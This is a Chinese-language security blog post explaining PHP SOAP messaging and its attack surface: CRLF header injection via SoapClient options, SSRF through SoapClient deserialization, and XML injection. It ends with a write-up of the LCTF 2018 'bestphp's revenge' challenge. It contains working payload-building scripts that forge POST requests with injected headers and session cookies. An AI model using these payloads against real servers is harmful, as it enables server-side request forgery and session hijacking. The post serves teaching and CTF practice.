PHP-SOAP安全

Posted by BY Diego on April 25, 2020

一、SOAP简介

SOAP(Simple Object Accrss Protocol,简单对象访问协议)是一种简单的基于XML的协议,可以使应用程序在分散或分布式的环境中,多数通过HTTP来传输信息的。

SOAP是Web Service的通信协议,是基于XML语言和XSD标准,其定义了一套编码规则,编码规则定义如何将数据表示为消息,以及怎样通过HTTP协议来传输SOAP消息,由四部分组成:

  • (1) SOAP信封(Envelope):定义了一个框架,框架描述了消息中的内容是什么,包括消息的内容、发送者、接收者、处理者以及如何处理消息。

  • (2)SOAP编码规则:定义了一种系列化机制,用于交换应用程序所定义的数据类型的实例。

  • (3) SOAP RPC表示:定义了用于表示远程过程调用和应答协定。

  • (4)SOAP绑定:定义了一种使用底层传输协议来完成在节点间交换SOAP信封的约定。

格式如下:

<?xml
 version="1.0"?>
<soap:Envelope
 xmlns:soap="http://www.w3.org/2001/12/soap-envelope"
 soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding">

<soap:Header>
</soap:Header>

<soap:Body>
<soap:Fault>
</soap:Fault>
</soap:Body>

</soap:Envelope>

其中 Envelope: 标识XML文档,具有名称空间和编码详细信息。

Header:包含标题信息,如内容类型和字符集等。

Body:包含请求和响应信息。

Fault:错误和状态信息。

模型如下 JD4o9g.png

二、php 实现 SOAP通信

常用来实现SOAP通信的类如下:

  • SoapClient() SoapClient用于调用远程服务器上的SoapServer页面,并实现了对相应函数的调用(客户端)它有两种操作形式:WSDL 模式Non-WSDL 模式

  • SoapFault() SoapFault用于生成soap访问过程中可能出现的错误。创建一个soapFault对象的语法格式
  • SoapHeader() : 用于描述soap的header信息,一般用于认证
  • SoapServer() SoapServer用于创建php服务器端页面时定义可被调用的函数及返回 响应数据
  • SoapParam() 是一个只包含构造器方法的数据容器。这个方法可以用来描述传递给 Web Services 操作的参数。在 non-WSDL 模式中这是一个很有用的类,可以用来传递所期望格式的参数信息。

这里看一下 soapclient 发送的数据包的几个简单例子Non-WSDL模式下 实例

<?php
$cli = new SoapClient(null, array('uri' => "http://ip/bbb", 'location' => "http://ip/aaa", 'trace' => true,'encoding'=>'utf-8'));

$head = new SoapHeader('http://ip/', 'key', '123456789', false, SOAP_ACTOR_NEXT);

$cli->__setSoapHeaders(array($h));

$cli->say("test"); //say 是自己定义的
?>

可以看一下各个值所在的位置 JDycX8.png

JDy66f.png

再看一个完整的通信过程

<?php //客户端
try {
    $client = new SoapClient(null, [
        'location' => 'http://localhost/index.php',
        'uri' => 'http://localhost/php-soap/non-wsdl/helloService'
    ]);
    $result =  $client->__soapCall('greet', [
        new SoapParam('Suhua', 'name')
    ]);
    printf("Result = %s\n", $result);
} catch (Exception $e) {
    printf("Message = %s",$e->__toString());
}
<?php  // 服务端
function greet($param)
{
    $value = 'Hello '.$param;
    return new SoapParam($value, 'greetReturn');
}
$server = new SoapServer(null, [
    'uri' => 'http://localhost/php-soap/non-wsdl/helloService'
]);

$server->addFunction('greet');
$server->handle();
?>

JDhiRJ.png

看一下流量 JDh8sI.png

请求包

POST /index.php HTTP/1.1
Host: localhost
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://localhost/php-soap/non-wsdl/helloServic#greet"
Content-Length: 516

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
	xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:ns1="http://localhost/php-soap/non-wsdl/helloServic"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
	SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
		<SOAP-ENV:Body>
			<ns1:greet>
				<name xsi:type="xsd:string">Suhua</name>
			</ns1:greet>
		</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

响应包

HTTP/1.1 200 OK
Date: Fri, 24 Apr 2020 11:20:10 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
X-Powered-By: PHP/7.3.4
Content-Length: 553
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/xml; charset=utf-8

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
	xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:ns1="http://localhost/php-soap/non-wsdl/helloService"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
	SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
		<SOAP-ENV:Body>
			<ns1:greetResponse>
				<greetReturn xsi:type="xsd:string">Hello Suhua</greetReturn>
			</ns1:greetResponse>
		</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

三、安全问题

了解完简单的通信过程,就看一下看全问题

① CRLF 漏洞

<?php
try {
    $client = new SoapClient(null, [
        'location' => 'http://localhost/index.php',
        'uri' => 'http://localhost/php-soap/non-wsdl/helloServic'
    ]);

    $result =  $client->__soapCall('greet', [
        new SoapParam('Suhua', 'name')
    ]);

    printf("Result = %s\n", $result);
} catch (Exception $e) {
    printf("Message = %s",$e->__toString());
}
?>

JD5tPS.png aa的 位置在头部 JD5wKs.png

当uri值为 aa\r\nusername:Diego\r\n JDIMJU.png

可以伪造任意请求。

除了uri外php手册上支持的头部都存在crlf ,这里选user-agent ,因为他的位置所在的位置出奇好 假设存在test.php

<?php
if ($_POST["data"]=="abc")
{
	phpinfo();
}
?>

利用crlf漏洞构造payload

<?php
$target = "http://localhost/test.php";
$post_string = 'data=abc';
$headers = array(
    'X-Forwarded-For: 127.0.0.1'
    //cookie等参数
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>"diego\r\nContent-Type: application/x-www-form-urlencoded\r\n".join("\r\n",$headers)."\r\nContent-Length: ". (string)strlen($post_string)."\r\n\r\n".$post_string,'uri'=>'hello'));

$result =  $b->__soapCall('greet', [
    new SoapParam('Suhua', 'name')]);//为了发送随意构造的
?>

请求如下,被拆成多个包,有正常的有错误的,响应也同样存在200 和400 JDHFkq.png

② 利用反序列化 进行 SSRF

假设存在如下代码 利用对SoapClient反序列化 从而能达到ssrf

<?php
class test
{
  public $name = "abc";
  function show()
  {
    var_dump();
  }
}
$a = unserilize($_GET["test"]);
$a->show();
?>

反序列化之后,在调用任意方法,再结合crlf即可发送我们想要请求,进而达到ssrf JDLung.png

借鉴个构造脚本

<?php
$target = "http://example.com:5555/";
$post_string = 'data=abc';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Diego^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo urlencode($aaa);
?>

③ 代码注入

如果使用soap进行通信 ,用户的输入未进行过滤,就能达到注入的效果

如果下面的 name 值完全可控

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
	xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:ns1="http://localhost/php-soap/non-wsdl/helloServic"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
	SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
		<SOAP-ENV:Body>
			<ns1:greet>
				<name xsi:type="xsd:string">Suhua</name>
			</ns1:greet>
		</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

用户可以通过输入 </name>进行前面闭合,然后代码注入

四、实例

bestphp’s revenge

index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?>

flag.php

only localhost can get flag!session_start();
echo 'only localhost can get flag!';
$flag = 'LCTF{*************************}';
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
       $_SESSION['flag'] = $flag;
   }
only localhost can get flag!

这里利用php session反序列化,可以任意反序列化,目的是通过ssrf访问flag.php 上面的soap就可以很好的达到目的。

直接用脚本

<?php
$target = "http://127.0.0.1/flag.php";
$post_string = 'data=abc';
$headers = array(
    'Cookie: PHPSESSID=fiuvgauodhtc5usq5of9t58q61'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'Diego^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo urlencode($aaa);
?>

JyCTFf.png 先利用session处理差异,提交构造好的序列

JyC7Y8.png

这里再次使用call_user_func的目的是让 SoapClient->welcome_to_the_lctf2018()执行,这样才能发送 Jyis2D.png JyPGnA.png

五、参考

SOAP协议的深度解析

从几道CTF题看SOAP安全问题

PHP中soap用法示例

PHP SOAP使用

反序列化之PHP原生类的利用